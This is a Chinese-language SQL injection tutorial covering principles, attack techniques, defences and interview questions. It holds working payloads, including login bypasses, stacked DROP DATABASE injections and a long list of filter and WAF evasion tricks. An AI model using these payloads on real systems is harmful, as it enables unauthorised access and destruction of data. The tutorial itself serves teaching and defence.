一.摘要
- 日前,国内最大的程序员社区CSDN网站的用户数据库被黑客公开发布,600万用户的登录名及密码被公开泄露,随后又有多家网站的用户密码被流传于网络,连日来引发众多网民对自己账号、密码等互联网信息被盗取的普遍担忧。
- 下面将从SQL注入原理、注入手段、防护方法、绕过方法四个方面讲解SQL注入。
二.原理
- 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
- 通俗一点讲就是用户输入的恶意代码被拼接到数据库查询语句中,两个关键条件:第一个是用户能控制输入;第二是原本程序要执行的代码,拼接了用户输入的数据,把数据当代码执行了。
三.注入手段
3.1 SQL注入攻击的思路
-
判断注入点:在参数后添加单引号" ’ ",查看结果,譬如在登录时,用户名填为:1’ ,或是url链接中:http://xxxxxx/index.php?id=1’,若是页面提示报错或是提示数据库错误的话,即说明存在SQL注入漏洞。
-
收集提示的数据库报错信息、判断数据库类型、猜解SQL语句、猜解表名、字段名,然后根据SQL注入漏洞与数据表名、字段名等对数据库进行攻击。
3.2 注入实例
用户登录SQL语句都形如:
SELECT * FROM user WHERE name = ' " + username + " ' and password= ' "+ password +" ';
常见的利用SQL注入攻破用户登录,关键在于在参数 “name” 或是 "password"中插入特殊符号,以篡改程序SQL的条件判断。譬如我们这样输入:
用户名:1' OR 1=1 --
密码:1
那么程序接收到参数后,SQL语句就变成了:
SELECT * FROM user WHERE name = '1' OR 1=1 -- and password= '1';
恒为真,即可在没有账号密码的情况下成功登录。若是恶意攻击数据库,可以随意删除数据库信息,甚至连数据库都可以删掉,对项目造成毁灭性的破坏,这是被SQL注入攻击最严重的后果。譬如:
用户名:1'; DROP DATABASE root;--
密码:1
那么程序接收到参数后,SQL语句就变成了:
SELECT * FROM user WHERE name = '1'; DROP DATABASE root;-- and password= '1';
由于分号;是SQL语句结束的标志,它会导致"SELECT * FROM user WHERE name = ‘1’;" 后面的语句成为一条新的SQL语句,而–是SQL语句的单行注释标志,它会注释掉"and password= ‘1’;"这一段,使整个SQL语句变的合法。然后 "DROP DATABASE root;"这一句直接把整个root数据库都删掉了。
只要是输入参数的SQL语句,都有被SQL注入攻击的威胁,譬如用户注册、用户个人信息修改、用户评论等等,凡是输入参数的地方,都有可能被SQL注入攻击。譬如:
用户信息修改时,必然要传递判断参数,此时的SQL判断语句大都形如:
UPDATE TABLENAME SET ''='' WHERE ''=''
而判断参数有时就在url链接中,形如:http://xxxxindex.php?id=1 ,说明程序很大可能是根据id进行SQL判断,如果该程序确实是根据用户id进行SQL判断,直接对url中传递的参数 " id=1 " 进行篡改,改成譬如:
id=1'; DROP DATABASE root;-- //可删除数据库root
如果用户不把判断参数放到url中,那么一般情况,技术人员把判断参数放到了保存按钮上,或是藏在某个隐藏的输入框里,再有就是cookie中。此时的判断参数一般是id、name、phone其中一个,技术人员会通过表单提交或是ajax,将隐藏的判断参数以post方法提交到后台。此时,只要查看网页源代码,一般都能在提交按钮、隐藏输入框等角落里找到这个隐藏参数。譬如:
<input type="button" name="jsh" onclick="addMember()" value="保存">
这显然是一个将判断参数隐藏到提交按钮上的以ajax进行post提交的案例,判断参数为" jsh “。此时,按F12,在源代码中将” name=“jsh” “修改为” name=“jsh’; DROP DATABASE root;–”,root就没了。
四.防护方法
- 使用安全的API
- 对输入的特殊字符进行Escape转义处理
- 使用白名单来规范化输入验证方法
- 对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
- 对进入数据库的特殊字符(’"尖括号&*#;等)进行转义处理,或编码转换。
- 规范编码,字符集
- 把应用服务器的数据库权限降至最低,尽可能地减少 SQL 注入攻击带来的危害
- 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。
- 采用sql语句预编译和绑定变量,是防御sql注入的最佳方法,所有的查询语句使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的预编译后才套用参数运行。
五.绕过方法
5.1 过滤关键字绕过姿势
- 最常用的绕过方法就是用/**/,<>,分割关键字
sel<>ect
sel/**/ect
- 双写绕过
selselectect
- 大小写绕过
SELect
- 编码绕过
1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2 //对关键字进行两次url全编码
select * from users where username = test1;
select * from users where username = 0x7465737431; //16进制编码
ASCII编码绕过
unicode编码对部分符号的绕过:
单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09
- 过滤逗号绕过
可以使用join方法绕过
union select 1,2,3 //原语句
union select * from (select 1)a join (select 2)b join (select 3) //join语句
- 对于盲注的几个函数substr(),mid(),limit
substr和mid()可以使用from for的方法解决
substr(str from pos for len) //在str中从第pos位截取len长的字符
mid(str from pos for len)//在str中从第pos位截取len长的字符
limit可以用offset的方法绕过
limit 1 offset 1
使用substring函数也可以绕过
substring(str from pos) //返回字符串str的第pos个字符,索引从1开始
- 过滤空格绕过
双空格
/**/
用括号绕过
用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a
- 过滤等号绕过
?id=1 or 1 like 1 //不加通配符的like执行的效果和=一致,所以可以用来绕过;
?id=1 or 1 rlike 1 //rlike的用法和上面的like一样,没有通配符效果和=一样;
?id=1 or 1 regexp 1 //regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
?id=1 or !(1 <> 1)或者1 !(<>) 1 //<> 等价于 != ,所以在前面再加一个!结果就是等号了
- 内联注释绕过
内联注释就是把一些特有的仅在MYSQL上执行的语句放在 /*!...*/ 中,这些语句只在MYSQL中会执行
and /*!select*/ 1,2
- 对or/and的绕过
and = &&
or = ||
- 过滤函数绕过
and sleep(1) --> and benchmark(1000000000,1)
select group_concat("str1","str2") –> select concat_ws(",","str1","str2")
- 过滤引号绕过
常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节
过滤单引号时:
%bf%27 %df%27 %aa%27
%df\’ = %df%5c%27=縗’ //两字节解析为一个汉字,单引号逃逸
六.面试相关问题
6.1 SQL注入技术分类
- 基于布尔类型的盲注,布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码
mysql> select * from user_information where user_name=''or 1=1-- ' and user_password=' ';
mysql> select * from user_information where user_id=''or 1=1 -- '';
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行来判断
mysql> select user_name,user_password from user_information where user_id='1' and sleep(5); -- '';
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
mysql> select * from user_information where user_name=''' and user_password='';
- 联合查询注入,UNION语句用于联合前面的SELECT查询语句,合并查询更多信息
mysql> select user_name,user_password from user_information where user_id=''union select user_id, concat(user_name,' ',user_password) from user_information -- '';
- 堆查询注入,可以同时执行多条语句时的注入
mysql> select * from user_information where user_name='jsh' and user_password='cdx'; DROP DATABASE root;--
6.2 SQL注入漏洞的类型
- 数字型注入
select * from <表名> where id = x //不用闭合单引号直接注入
select * from <表名> where id = x and 1=1 //输入x and 1=1,不报错
select * from <表名> where id = x and 1=2 //x and 1=2,报错
- 字符型注入
select * from <表名> where id = 'x' //需要闭合单引号
select * from <表名> where id = 'x' and '1'='1' //输入x' and '1'='1,不报错
select * from <表名> where id = 'x' and '1'='2' //输入x' and '1'='2,报错
按照数字型来注入:
select * from <表名> where id = 'x and 1=1' 输入x and 1=1,报错,'x and 1=1'被当成字符串执行